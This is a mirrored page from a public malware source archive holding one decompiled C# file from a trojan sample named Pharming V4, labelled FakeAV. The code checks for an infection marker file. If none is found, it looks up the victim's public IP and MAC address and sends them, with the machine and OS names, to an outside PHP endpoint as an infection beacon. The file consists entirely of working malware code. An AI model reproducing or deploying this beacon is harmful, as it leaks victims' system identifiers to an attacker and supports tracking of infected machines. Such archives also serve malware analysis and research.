mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 21:05:28 +00:00
33 lines
1.3 KiB
C#
33 lines
1.3 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: Pharming_V4.enviophp
|
|||
|
|
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
|
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
|
|||
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
|
|||
|
|
|
|||
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
|
using System;
|
|||
|
|
using System.IO;
|
|||
|
|
using System.Net;
|
|||
|
|
using System.Net.NetworkInformation;
|
|||
|
|
|
|||
|
|
namespace Pharming_V4
|
|||
|
|
{
|
|||
|
|
[StandardModule]
|
|||
|
|
internal sealed class enviophp
|
|||
|
|
{
|
|||
|
|
public static void enviophp()
|
|||
|
|
{
|
|||
|
|
if (System.IO.File.Exists(Path.GetTempPath() + "\\checkinfect.txt"))
|
|||
|
|
{
|
|||
|
|
Console.WriteLine("Ja infectado!");
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
string end = new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")).GetResponse()).GetResponseStream()).ReadToEnd();
|
|||
|
|
string str = NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString();
|
|||
|
|
new WebClient().DownloadString("http://www.shaunsmyth.com/images/home/novo.php?nomepc=" + Environment.MachineName + "&osName=" + Module1.osName + "&netCard=" + str + "&ipp=" + end);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|